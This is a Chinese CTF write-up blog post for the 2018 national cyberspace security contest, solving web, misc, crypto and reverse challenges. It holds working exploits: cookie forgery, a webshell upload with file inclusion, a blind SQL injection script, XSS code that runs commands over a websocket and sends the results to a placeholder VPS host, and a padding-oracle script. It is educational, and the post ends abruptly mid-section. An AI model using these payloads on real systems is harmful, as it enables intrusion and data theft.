sky's blog

2018年第四届全国网络空间安全技术大赛

字数统计: 5,615阅读时长: 29 min
2018/05/12 Share

前言

周末抽空做了一下2018全国网络空间安全技术大赛,由于题目难度适中,ak了web,做出了绝大部分的misc和crypto
这里特别感谢队友yuriXO对我crypto的极大帮助:)
crypto和misc的题目地址

1
链接: https://pan.baidu.com/s/1FSIIbldbBHLNsUFJOaJ8lA 密码: 91v6

WEB

web签到

签到题就不解释了
flag如下

1
flag{ylng_ying_yin@}

web1

http://117.34.117.216
访问后跳转到登录页面
http://117.34.117.216/login.php
发现有注册,随意注册一个账号,登录后
.jpg”>
发现要以admin的身份访问flag.php
查看源代码,发现还有change_password的功能
.jpg”>
同时发现cookie中有username项
.jpg”>
猜想可能存在越权问题
进入修改密码页面
.jpg”>
发现未做username的check
猜想直接使用了cookie中的username
随机修改cookie中的username为admin
同时修改密码
成功登入,来到管理页面
.jpg”>
发现可以获取远程图片
随手测试,发现题目会将远程访问到的页面内容写到本地的图片img目录中
尝试访问
http://127.0.0.1/flag.php
下载图片文件后获得flag
.jpg”>
得到flag

1
flag{dbf6e52d69973dd16d87d4a8c3816ca9}

web2

访问题目

1
http://117.34.116.192/index.php?file=login.html

.jpg”>
登录尝试发现是伪登录
随即想到存在文件包含,尝试读取源码

1
file=php://filter/read=convert.base64-encode/resource=index.php

提示

1
illgal filename!!

发现存在过滤
随手测试了一波目录,发现了.git文件泄露
.jpg”>
随后下载到源码
.jpg”>
此时打开index.php
.jpg”>
发现是经过加密的
这里有两种解密选择

1
2
http://www.phpjm.cc/
https://github.com/firebroo/screw_decode

前者花钱解密,简单快捷
后者用工具解密,相对于繁琐一些
解密后得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['file'])||empty($_GET['file'])){
header('Refresh:1,url=index.php?file=login.html');
die;
}
$file = $_GET['file'];

if ((strpos($file,':')!==false)){
header('Refresh:1,url=index.php?file=login.html');
echo "illgal filename!!";
die;
}
include_once($file);
?>

发现只是文件包含
再看upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
function Administrator($value){
if(empty($_COOKIE['in_adminid']) || empty($_COOKIE['in_adminexpire']) || $_COOKIE['in_adminexpire']!==md5($_COOKIE['in_adminid'].$_COOKIE['in_adminname'].$_COOKIE['in_adminpassword'].$_COOKIE['in_permission'])){
return False;
}
setcookie("in_adminexpire",$_COOKIE['in_adminexpire'],time()+1800);
if(!empty($_COOKIE['in_permission'])){
$array=explode(",",$_COOKIE['in_permission']);
$adminlogined=false;
for($i=0;$i<count($array);$i++){
if($array[$i]==$value){$adminlogined=true;}
}
if(!$adminlogined){
return False;
}
}else{
return False;
}
return true;
}
if (Administrator(2)){
if(isset($_FILES['file'])){
$filename = './img/img'.rand().'.jpg';
move_uploaded_file($_FILES["file"]["tmp_name"],$filename);
header('Refresh:3,url=index.php?file=upload.php');
echo "Upload $filename Success!";
die;
}
}else{
header('Refresh:3,url=index.php?file=login.html');
echo "Who are you!";
die;
}
?>

发现可以文件包含,但是要绕过前面的

1
if(empty($_COOKIE['in_adminid']) || empty($_COOKIE['in_adminexpire']) || $_COOKIE['in_adminexpire']!==md5($_COOKIE['in_adminid'].$_COOKIE['in_adminname'].$_COOKIE['in_adminpassword'].$_COOKIE['in_permission']))

随即构造脚本

1
2
3
4
5
6
7
8
9
10
11
import hashlib

def md5(a):
b = hashlib.md5(a).hexdigest()
return b
in_adminid='1'
in_adminname='admin'
in_adminpassword='admin'
in_permission='2'
in_adminexpire=md5(in_adminid+in_adminname+in_adminpassword+in_permission)
print in_adminexpire

利用cookieedit更改cookie,即可来到上传页面
.jpg”>
上传一个带shell的jpg图片
.jpg”>
得到文件位置

1
Upload ./img/img9545545.jpg Success!

然后利用文件包含

1
http://117.34.116.192/index.php?file=./img/img9545545.jpg

菜刀连接上
.jpg”>
下载f14g.php
发现依旧是加密过的,还是用上述方法解密
即可得到flag

1
2
3
<?php
$flag = "";//flag{7cb3d823105433606ccac8fb75aed67c}
?>

web3

http://45.76.49.10:8001
挺有意思的一题,题目应该来源一个真实事件

1
2
从钓鱼样本到某大厂存储型XSS
https://xz.aliyun.com/t/2322

用PC点开链接会直接跳转到正版的QQ空间
所以这里需要抓包,不难发现跳转到

1
http://45.76.49.10:8001/0b10813e85c20b58a023440d9f58d7e2

然后发现内容(过多,给出部分)

1
2
document.write(decodeURIComponent(arcfour("36a9dc5d29d54b46793d0c682298dbab",base64_decode("EzOR925j1QH2xcQc8Tr9x4GfY2UQ/pt8qa6HxeqOo2WBlyxX36pUO4BZcYkzAbOBWHIVSQiE5fH+LMw4MB/kAFyW7hlMZEWJSoJ7agQOOE3G8GWZuKepUs7z4bia/iXPIPicedfmKpk7VIC+axY+HKCwxCCN9jTJo5kC9d8KTGR/xLgz1a1/7I1cBFdwcuuYPtlHcWjDagXWwN0z25MJgq4ZDViT+x+YkilDwwwzOvqesH/LleYn9PMnE00QvrijCo99j/HAvmMPEVJGDADMt+zowRvcQHeehw/ATQ8/K0vOaqqxf4P1uZKDNOnFDTlt6ijtyuGFTrVHQfru3pErTsEoHOrjHj6sHyBA0xZEC1j3wVM4kW1OKZWYBhRNqHUvcz6Tc7tdjwmkqcaEW71NTXxBF4D8zjJoe8qJeGXvo8qSpWJV/4tYLHI3x90dNV9T53CqeyNYmYE995ozzaN8Wwjqt+YthltVTfqBTkE43HX64V0F3Itqvx0QRtzKWjdxwtc5IibTqjuL0JDlrsHLzOIv51qGH9JvgqrE5Y9jZhQoICCUIlgbyKoYuQJvN8Z2yArywMsY4iiU1jG5lI+BvaYS2BK6INwtRdLKYlDn80yKkq3XPFRsloM1KfxS9DQ/a5euUOf/LB91m72PG4p5GRH+kl/fW9OAdJWoXeA4tJpKntxrGonGfS4QAk8ne5JrHCJHqAKHVuyEqeYhHimkhB9bUtDaZJBG8kDwKaiT7cjCHaxJouLo9S5lVGPIUlIQNusMaLAvC6SaIDk4iY50uXdR2mVBouB+g+/pCbK5oTYvxnqrljqti9McqPNGk5AeLPKZzH
.....

是加密后的内容
在密文最后可以发现解密函数

1
2
3
4
5
document.title = '\u624b\u673a\u7edf\u4e00\u767b\u5f55';
document.body.appendChild(set);
function base64_encode(d){var q='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var z,y,x,w,v,u,t,s,i=0,j=0,p='',r=[];if(!d){return d}do{z=d.charCodeAt(i++);y=d.charCodeAt(i++);x=d.charCodeAt(i++);s=z<<16|y<<8|x;w=s>>18&0x3f;v=s>>12&0x3f;u=s>>6&0x3f;t=s&0x3f;r[j++]=q.charAt(w)+q.charAt(v)+q.charAt(u)+q.charAt(t)}while(i<d.length);p=r.join('');var r=d.length%3;return(r?p.slice(0,r-3):p)+'==='.slice(r||3)}
function base64_decode(d){var q='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var z,y,x,w,v,u,t,s,i=0,j=0,r=[];if(!d){return d}d+='';do{w=q.indexOf(d.charAt(i++));v=q.indexOf(d.charAt(i++));u=q.indexOf(d.charAt(i++));t=q.indexOf(d.charAt(i++));s=w<<18|v<<12|u<<6|t;z=s>>16&0xff;y=s>>8&0xff;x=s&0xff;if(u==64){r[j++]=String.fromCharCode(z)}else if(t==64){r[j++]=String.fromCharCode(z,y)}else{r[j++]=String.fromCharCode(z,y,x)}}while(i<d.length);return r.join('')}
function arcfour(k,d){var o='';s=new Array();var n=256;l=k.length;for(var i=0;i<n;i++){s[i]=i}for(var j=i=0;i<n;i++){j=(j+s[i]+k.charCodeAt(i%l))%n;var x=s[i];s[i]=s[j];s[j]=x}for(var i=j=y=0;y<d.length;y++){i=(i+1)%n;j=(j+s[i])%n;x=s[i];s[i]=s[j];s[j]=x;o+=String.fromCharCode(d.charCodeAt(y)^s[(s[i]+s[j])%n])}return o}

不难看出,作者自己写了rc4算法和base64加解密
而密文流程为:
base64解密->rc4解密->url解码
我这里直接选择控制台解密
利用console.log和出题人定义好的解密函数,容易直接得到明文代码,由于代码篇幅过长,想看这部分伪造钓鱼代码的,可以看之前文章提及的先知上的一篇文章,我这里只给出部分重要js代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<script>
var key = "MiaoMiao";
var times = 0;
function error(msg) {
$("#error_tips").css({
display: 'block'
});
$('#error_message').html(msg);
err = true;
}
$('form input').focus(function() {
$("#error_tips").css({
display: 'none'
});
err = false;
});
$("#error_tips").on('click',
function() {
$(this).hide();
});
$("#go").on('click',
function() {
var $this = $(this);
err = false;
var p = $("#p").val();
var u = $("#u").val();
u == '' && error('您还没有输入帐号!');
if (err) return false;
p == '' && error("您还没有输入密码!");
if (err) return false;
/^[1-9][0-9]{5,9}$/.test(u) || error('请输入正确的帐号!');
if (err) return false;
var len = p.length; (len < 6 || len > 16) && error('您输入的帐号或密码不正确,请重新输入。');
if (err) {
$("#p").val('');
return false;
}
if (!err){
$.ajax({
url:'/f701fee85540b78d08cb276d14953d58',
type:'POST',
dataType:'json',
data: "data="+encodeURIComponent(encryptByDES($('#loginform').serialize(),key)),
error:function(er){
window.location.href='https://qzone.qq.com';
}
})
}
})

function encryptByDES(message, key) {
var keyHex = CryptoJS.enc.Utf8.parse(key);
var encrypted = CryptoJS.DES.encrypt(message, keyHex, {
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7
});
return encrypted.ciphertext.toString(CryptoJS.enc.Base64);
}
</script>

我们不难看到,黑客获取到用户登录的账号密码后,进行了序列化,然后利用DES加密后post到了后端/f701fee85540b78d08cb276d14953d58
其中DES的密钥为MiaoMiao
现在容易得到思路:
由于该网站是一个钓鱼网站,那么势必会存储用户登录的账号密码
那么既然要存储,可能就会涉及Sql注入问题。既然是钓鱼网站的sql操作
我相信不会有太多的过滤吧(毕竟我相信钓鱼的人不会这么XD)
所以我的第一反应就是insert注入,测试后可以发现,无论post什么数据
网页均无反馈,看起来就是sleep盲注了
于是我构造出测试脚本(注:这里需要注意传输数据得用key加密)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pyDes import *
import base64
import requests
import string
url = "http://45.76.49.10:8001/f701fee85540b78d08cb276d14953d58"
payload ="1' and if((ascii(substr((database()),1,1))>-1),sleep(10),1) or '"
pay = "ip=0.0.0.0&hrUW3PG7mp3RLd3dJu=12345678900&LxMzAX2jog9Bpjs07jP=%s"%payload
k = des("MiaoMiao", ECB, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
d = base64.b64encode(k.encrypt(pay))
data = {
"data":d
}
print pay
print data
try:
s =requests.post(url=url,data=data,timeout=5)
print s.content
except:
print "sleep 10s ok!"

发现可以成功sleep,于是我立刻写出了注入脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pyDes import *
import base64
import requests
import string
url = "http://45.76.49.10:8001/f701fee85540b78d08cb276d14953d58"
flag = ""
for i in range(1,50):
print i
for j in '1234567890abcdef{}':
j = ord(j)
payload = "1' and if((ascii(substr((select password from admin limit 0,1),%s,1))=%s),sleep(3),1) or '"%(i,j)
pay = "ip=0.0.0.0&hrUW3PG7mp3RLd3dJu=%s&LxMzAX2jog9Bpjs07jP=123456789" % (payload)
k = des("MiaoMiao", ECB, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
d = base64.b64encode(k.encrypt(pay))
data = {
"data": d
}
try:
s = requests.post(url=url, data=data,timeout=3)
except:
flag += chr(j)
print flag
break

最后可以得到flag

1
flag{73ad1744f38b68ece51076c7ac77621b}

web4

http://117.34.112.247:8001
题目的背景为xss->rce
同时给出了部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
type msg struct {
Cmd string `json:"cmd"`
}

func main() {
app := sweetygo.New("./", nil)
app.GET("/ws", ws)
app.RunServer(":8002")
}

func ws(ctx *sweetygo.Context) {
conn, _ := websocket.Upgrade(ctx.Resp, ctx.Req, ctx.Resp.Header(), 1024, 1024)
for {
m := msg{}
err := conn.ReadJSON(&m)
if err != nil {
fmt.Println("Error reading json.", err)
break
}

res := exec(m.Cmd)
fmt.Println(res)
if err = conn.WriteJSON(res); err != nil {
fmt.Println(err)
break
}
}
}

不难看出作者使用了go web框架sweetygo
帮作者推广一波

1
github.com/AmyangXYZ/sweetygo

这里看应该不存在漏洞的,然后就容易联想到醒目题目描述

1
2
“grollia的websocket真好用,一句话 conn, _ := websocket.Upgrade(ctx.Resp, ctx.Req, ctx.Resp.Header(), 1024, 1024)就建好了,我也可以搭个IGo NoteBook啦!”
—— 刚学Golang的小明

这里容易联想到websocket的问题
我们看到代码

1
2
3
4
5
func main() {
app := sweetygo.New("./", nil)
app.GET("/ws", ws)
app.RunServer(":8002")
}

首先探测了一下,发现8002端口并没有对外网开放
我们只能通过内部访问,而唯一的方式就是xss
而我们知道js可以连接websocket
同时注意到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func ws(ctx *sweetygo.Context) {
conn, _ := websocket.Upgrade(ctx.Resp, ctx.Req, ctx.Resp.Header(), 1024, 1024)
for {
m := msg{}
err := conn.ReadJSON(&m)
if err != nil {
fmt.Println("Error reading json.", err)
break
}

res := exec(m.Cmd)
fmt.Println(res)
if err = conn.WriteJSON(res); err != nil {
fmt.Println(err)
break
}
}
}

这里存在命令执行(但是出题人为了安全,只允许执行ls和cat)
可以看到,如果我们连接上websocket,传输msg即可造成rce
所以现在的思路比较清晰了
1.构造xss,利用js连接websocket
2.连接后发送RCE命令(ls)
3.将数据打出到自己的vps
查阅资料可以发现

1
2
3
onmessage:一个用于消息事件的事件监听器,这一事件当有消息到达的时候该事件会触发。这个Listener会被传入一个名为"message"的 MessageEvent 对象。

onopen:一个用于连接打开事件的事件监听器。当readyState的值变为 OPEN 的时候会触发该事件。该事件表明这个连接已经准备好接受和发送数据。这个监听器会接受一个名为"open"的事件对象。

我们先写出xss进行探测,看是否可以成功连接

1
2
3
4
5
6
7
8
<script>
var ws = new WebSocket("ws://127.0.0.1:8002/ws");
ws.onopen = function(){
$.ajax({
url: "http://your_vps/success"
});
};
</script>

不一会儿就发现收到了success数据,证明连接成功
于是我们构造出rce的js

1
2
3
4
5
6
7
8
9
10
11
<script>
var ws = new WebSocket("ws://127.0.0.1:8002/ws");
ws.onopen = function(){
var b = {"cmd":"ls"};
ws.send(JSON.stringify(b));
};
ws.onmessage = function(evt){
$.ajax({
url: "http://your_vps/?"+evt.data
});
}</script>

收到回显
.jpg”>
读取flag
.jpg”>
后来了解到此题的背景同样为真实案例:
IPython Notebook( CVE-2014-3429 )
膜一发作者~

MISC

misc1

题目打开后得到一个图片
发现ffd9后有压缩包
.jpg”>
提取出来后发现是伪加密
利用binwalk直接提取
获得文件stego.txt
.jpg”>
第一反应即base64隐写

1
https://www.tr0y.wang/2017/06/14/Base64steg/

随即写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# -*- coding: cp936 -*-

b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

with open('stego.txt', 'rb') as f:
bin_str = ''
for line in f.readlines():
stegb64 = ''.join(line.split())
rowb64 = ''.join(stegb64.decode('base64').encode('base64').split())

offset = abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=','')[-1]))
equalnum = stegb64.count('=') #no equalnum no offset

if equalnum:
bin_str += bin(offset)[2:].zfill(equalnum * 2)

print ''.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)]) #8位一组

运行即可获得flag

1
Flag{Ba5e_64OFive}

misc2

这题做的我心态歇逼了
首先是题目描述

1
我觉得,这题可以在windows环境下解。

windows下解的mp3题
一般misc无非是隐写,windows下的隐写,容易想到ntfs
但是心态歇逼的第一点:
用其他压缩软件解压题目给的压缩包,都得不到ntfs隐写。。。
唯独winrar解压可以得到,用工具查看
.jpg”>
发现有flag.doc文件
导出后查看文件内容
发现有处有奇怪的空白
.jpg”>
我们改变一下字体颜色为红色
.jpg”>
但是显然是第二段的flag:_from_your_efforts}
还有一段在哪里呢?
这就是第二个歇逼的点。。。
用winhex或者改成txt格式查看文件末尾
可以发现
.jpg”>
另一段flag

1
f l a g { A l l _ s u c c e s s _ c o m e s

最后得到flag

1
flag{All_success_comes_from_your_efforts}

misc3

题目有些脑洞
看到题目提示

1
ames发现公司员工通过数据包向外隐匿地发送信息,并截获了这段时间的流量包,请帮助他恢复流量中隐匿传输的信息,并以flag{*}的形式提交。

重点在于隐匿的,查看了一遍tcp和http流量,并未发现什么奇特的点
最后在icmp协议中发现了问题
.jpg”>
.jpg”>
.jpg”>
容易看到每个icmp协议中的2个字符都在变化,其余均不变,于是脑洞大开,拼接为一起,成功得到flag

1
flag{RyHgbCf5OhFEiyJnlt9c8ASP}

Crypto

crypto1

题目描述

1
2
在RSA算法中,我们知道公钥加密指数e要与φ(n)互素。但是如果e与φ(n)不互素,我们应该怎么办呢?
已知条件见文本,解出明文,递交FLAG。

观察到e为200=8*25
此时我们可以用25的逆元去解,然后开8次方即可
脚本如下

1
2
3
4
5
6
7
8
9
import gmpy2
c=7797067792814175554801975939092864905908878472965854967525218347636721153564161093453344819975650594936628697646242713415817737235328825333281389820202851500260665233910426103904874575463134970160306453553794787674331367563821223358610113031883172742577264334021835304931484604571485957116313097395143177603380107508691261081725629713443494783479897404175199621026515502716868988672289887933681890547568860707175288422275073767747544353536862473367590288531216644146154729962448906402712219657000812226637887827912541098992158458173920228864293993030475885461755767069329678218760943185942331149777258713727459739405
p=111052706592359766492182549474994387389169491981939276489132990221393430874991652628482505832745103981784837665110819809096264457329836670397000634684595709283710756727662219358743235400779394350023790569023369287367240988429777113514012101219956479046699448481988253039282406274512111898037689623723478951613
q=146182161315365079136034892629243958871460254472263352847680359868694597466935352294806409849433942550149005978761759458977642785950171998444382137410141550212657953776734166481126376675282041461924529145282451064083351825934453414726557476469773468589060088164379979035597652907191236468744400214917268039573
e=25
n=p*q
d =gmpy2.invert(e,(p-1)*(q-1))
flag8 = pow(c,d,n)
print hex(gmpy2.iroot(flag8,8)[0])

即可得到

1
0x4354467b4c6966655f49535f415f4265617574797d


1
CTF{Life_IS_A_Beauty}

crypto2

题目实际上ecc算法
参考链接

1
https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/2017/picoCTF_2017/problems/cryptography/ECC2/ECC2.html

使用上述链接中的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from sage.all import *

M = 93556643250795678718734474880013829509320385402690660619699653921022012489089
A = 66001598144012865876674115570268990806314506711104521036747533612798434904785
B = 25255205054024371783896605039267101837972419055969636393425590261926131199030
P = (56027910981442853390816693056740903416379421186644480759538594137486160388926, 65533262933617146434438829354623658858649726233622196512439589744498050226926)
Q = (82470715998045253133931379369477906093551619202698188387811754055611146940802, 73706972132070004469528192666337156782673206740372495041722107956327401385152)
F = FiniteField(M)
E = EllipticCurve(F,[A,B])
P = E.point(P)
Q = E.point(Q)
factors, exponents = zip(*factor(E.order()))
primes = [factors[i] ^ exponents[i] for i in range(len(factors))][:-2]
dlogs = []
for fac in primes:
t = int(P.order()) / int(fac)
dlog = discrete_log(t*Q,t*P,operation="+")
dlogs += [dlog]
print("factor: "+str(fac)+", Discrete Log: "+str(dlog)) #calculates discrete logarithm for each prime order

l = crt(dlogs,primes)
print(l)

可以计算k

1
2
3
4
5
6
7
8
9
10
11
factor: 4, Discrete Log: 2
factor: 3, Discrete Log: 2
factor: 5, Discrete Log: 4
factor: 7, Discrete Log: 1
factor: 137, Discrete Log: 70
factor: 593, Discrete Log: 459
factor: 24337, Discrete Log: 4079
factor: 25589, Discrete Log: 22677
factor: 3637793, Discrete Log: 192569
factor: 5733569, Discrete Log: 123222
241442528183133391090263659954

观察到题目的加密流程

1
2
3
4
5
6
def encrypt(B,flag):
M=[]
(x,y)=B
for i in flag:
M.append(str((int(i)*x)%p))
return M

我们只要求逆元乘回去即可

1
2
3
4
5
6
7
def decrypt(B,cipher):
M = []
(x, y) = B
d = gmpy2.invert(x,p)
for i in cipher:
M.append(str((int(i) * d) % p))
return M

最后完整解题代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# -*- coding: cp936 -*-
import gmpy2

p=93556643250795678718734474880013829509320385402690660619699653921022012489089
a=66001598144012865876674115570268990806314506711104521036747533612798434904785
b=25255205054024371783896605039267101837972419055969636393425590261926131199030
P=(56027910981442853390816693056740903416379421186644480759538594137486160388926, 65533262933617146434438829354623658858649726233622196512439589744498050226926)
def add(p,a,b,P,Q):
if P==(0,0):
return Q
if Q==(0,0):
return P
if P!=(0,0) and Q!=(0,0):
(Px,Py),(Qx,Qy)=P,Q
if P!=Q:
s=(Qy - Py) * gmpy2.invert(Qx - Px, p) % p
else:
s=(3 * Px ** 2 + a) * gmpy2.invert(2 * Py, p) % p
Rx=(s**2-Px-Qx)%p
Ry=(s*Px-s*Rx-Py)%p
return int(Rx),int(Ry)

def bits(n):
while n:
yield n & 1
n >>=1

def double_and_add(n,p,a,b,P):
Q=P
result=(0,0)
for bit in bits(n):
if bit==1:
result=add(p,a,b,result,Q)
Q=add(p,a,b,Q,Q)
return result

def encrypt(B,flag):
M=[]
(x,y)=B
for i in flag:
M.append(str((int(i)*x)%p))
return M

def decrypt(B,cipher):
M = []
(x, y) = B
d = gmpy2.invert(x,p)
for i in cipher:
M.append(str((int(i) * d) % p))
return M
c=['59606574942045237892160565660789485179761474793536568061197611839605420346341', '47875019928315975935470451251861629803812269197911544058574875780767887781883', '47875019928315975935470451251861629803812269197911544058574875780767887781883', '87395068884892630805602977284140888323072523242568617217106051341924998180285', '46630423195878630891974017244302408005523563020190564609208709685671882231257', '75663513871163368848912862875213032947123317646943593214483315283087465615827', '85854675293416868827320102885172653026510557702538106366457650697150744603084', '65472352448909868870505622865253412867736077591349080062508979869024186628570', '53740797435180606913815508456325557491786871995724056059886243810186654064112', '29033090675284737956938845630910624941599754626753028605274605597415583384570', '46630423195878630891974017244302408005523563020190564609208709685671882231257', '75663513871163368848912862875213032947123317646943593214483315283087465615827', '85854675293416868827320102885172653026510557702538106366457650697150744603084', '65472352448909868870505622865253412867736077591349080062508979869024186628570', '53740797435180606913815508456325557491786871995724056059886243810186654064112', '79988897786552237848975045680708725338535954904725594365146282667731978320855', '46630423195878630891974017244302408005523563020190564609208709685671882231257', '87395068884892630805602977284140888323072523242568617217106051341924998180285', '47875019928315975935470451251861629803812269197911544058574875780767887781883', '59606574942045237892160565660789485179761474793536568061197611839605420346341', '68553139631861392827071371663189883460860008671410101763805781158572693782972']
C1=(86892541043117403764803129862679079014029734149331061618933412161852971278663, 76398582431519045045640039001896036904727467709248934373737249884161020619730)
k=241442528183133391090263659954
kc1 = double_and_add(k,p,a,b,C1)
flag = decrypt(kc1,c)
res = ""
for i in flag:
res+=chr(int(i))
print res

运行后得到flag

1
flag{GOOD LUCK, LUCKY DOG!}

crypto3

nc 117.34.112.241 1279
此题是一道Padding oracle attack的题目
详细介绍可以参照我的这篇文章

1
http://skysec.top/2017/12/13/padding-oracle%E5%92%8Ccbc%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB/

这里我直接给出利用脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python
# coding=utf-8
from pwn import *
result = ''
result1=''
encode = '\x03\xc1\x1c\x98\x0e\x8a\x75\xf4\x6b\x04\x83\xeb\x3b\x58\xa1\x3a\x31\xe8\x26\x08\xe2\x44\x5e\xa1\x05\xd9\xc7\x86\x8b\xd9\x75\x9a'
encode1 = encode[0:16]
encode2 = encode[16:32]
encode3 = '123456789ABCDEFG'
p = remote('117.34.112.241',1279)

p.recvuntil('crack violently!\n')
def dd(datab):

p.send('2\n')
p.recvuntil("bytes ciphertext\n")
p.sendline(encode1)
p.recvuntil('IV\n')
p.sendline(datab)
zz = p.recvline()
print zz
if "good" in zz:
print 'success'
print datab
return 1
else:
print 'false'
jj = ''
xx = ''
for j in xrange(1,17):
for z in result1:
xx += chr(ord(z)^j)
for i in xrange(0,256):
print i
ss = (15-len(result1)) * chr(0)
ss = ss +chr(i)+xx
if dd(ss):
wrp= chr(i^j^ord(encode3[16-j]))
result += wrp
jj = chr(ord(wrp))+jj
result1 = chr(i^j) + result1
print jj
xx = ''
break

用iv和encode1得到第一段明文
.jpg”>
用encode1和encode2得到第二段明文
.jpg”>

crypto4

题目描述

1
在Alice用帐户名和密码登录一个用RSA加密通信的网站的过程中,不小心将密码的最后一位字符的大小写弄错了,于是重新输入,这一过程恰好被攻击者K监听到,并截获了这两条密文。那么攻击者就能很容易破解出Alice的密码,求出这个密码,提交FLAG。

可以看到加密的明文消息只有1位不同,相差32,查到一篇相关文章
参考链接

1
https://github.com/ZoEplA/Team233/blob/0bb364f2aef8775230c9552d75465ef6a6aa1fb5/2018/wp/redhet/Team233%20writeup.md

效仿其中的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# solve.sage
from hashlib import sha256

def related_message_attack(c1, c2, diff, e, n):
PRx.<x> = PolynomialRing(Zmod(n))
g1 = x^e - c1
g2 = (x+diff)^e - c2

def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()

return -gcd(g1, g2)[0]

n = 27262030738190162906068533309218248319312037416856794814532459866130196673561833084739048171769479893806671499522643803412108279907223895517897969906253626028270289028646596897429641138913001561947557784840311014399973312098056896539904624036584153785225626096007313018814076860235378686567457599895712604364100507424939342862464483596795761725357279364545154915110900098124905389351969357103586063992040096368146580315262263546850581515833590884397726108478477798668261762306189036525841356592859315437201733146083995028221597538824801113980100295046731791678895520928441645173205511865657977068061078456941189550383
e = 3

c2 = 80256065280425989347153660555632253204654757632704797390559450985825600409910703812294413750536361555897348650491697548574007864446117693097103136799284683292648287334023253488891301144881769557674366138889636475162525325855368132832237345279798028008137655682278413635753791609965810603989005785747744993045461207072415730041608172272077090225741385971
c1 = 80256065280425989347153660555632253204654757632704797390559450985825600409910703812294413750536361555897348650491699334745453065435184774282609871793525447798655880850590288431173204818294305809864531293135689257716648980215360552397800418527073621708108066406898267720300730094465977262440649283179655484278496374936325875186126245693549228697550672467

diff = 32
m = related_message_attack(c2, c1, diff, e, n)
flag = ('%x' % m).decode('hex')
print flag

得到flag

1
my password is: I_Lov5_RSA_Rel6te7_me8sagE_aTTacK

Re

re1

由于re1实际上也是密码题。。所以我也做了一下
将题目给的pyc反编译一下,得到代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#!/usr/bin/env python
# visit http://tool.lu/pyc/ for more information
from hashlib import md5
import base64
from time import time
from datetime import datetime
import sys

def encodestr(string):
UC_KEY = '123456789'
key = md5(UC_KEY.encode('utf-8')).hexdigest()
keya = md5(key[0:16].encode('utf-8')).hexdigest()
keyb = md5(key[16:32].encode('utf-8')).hexdigest()
ckey_length = 4
keyc = md5(string.encode('utf-8')).hexdigest()[-ckey_length:]
cryptkey = md5((keya + keyc).encode('utf-8')).hexdigest()
key_length = len(cryptkey)
expiry = 20
string = '%10d' % expiry + md5((string + keyb).encode('utf-8')).hexdigest()[0:16] + string
box = range(256)
rndkey = [
0] * 256
for i in range(256):
rndkey[i] = ord(cryptkey[i % key_length])

string_length = len(string)
result = ''
j = 0
for i in range(256):
j = (j + box[i] + rndkey[i]) % 256
tmp = box[i]
box[i] = box[j]
box[j] = tmp

a = 0
j = 0
for i in range(string_length):
a = (a + 1) % 256
j = (j + box[a]) % 256
tmp = box[a]
box[a] = box[j]
box[j] = tmp
result += chr(ord(string[i]) ^ box[(box[a] + box[j]) % 256])

return result

if __name__ == '__main__':
str1 = raw_input('please enter the flag:')
res = encodestr(str1)
lenn = len(res)
d = [
128,
220,
109,
113,
242,
153,
181,
203,
21,
122,
2,
101,
42,
55,
56,
19,
190,
181,
99,
47,
217,
109,
129,
221,
9,
65,
235,
48,
197,
103,
123,
86,
25,
112,
172,
175,
42,
168,
232,
81,
224,
170,
16,
210,
98,
229,
15,
30,
134]
for i in range(lenn):
if ord(res[i]) == d[i] or i == lenn - 1:
print 'you get it'

print 'wrong'
break

不难看出,和rc4密钥相关的明文输入只有4位,那么我们可以选择爆破这4位
而rc4的算法未:
keystream xor mes = cipher
所以我们只需要爆破4位未知密钥,然后生成密钥流和密文异或即可
脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
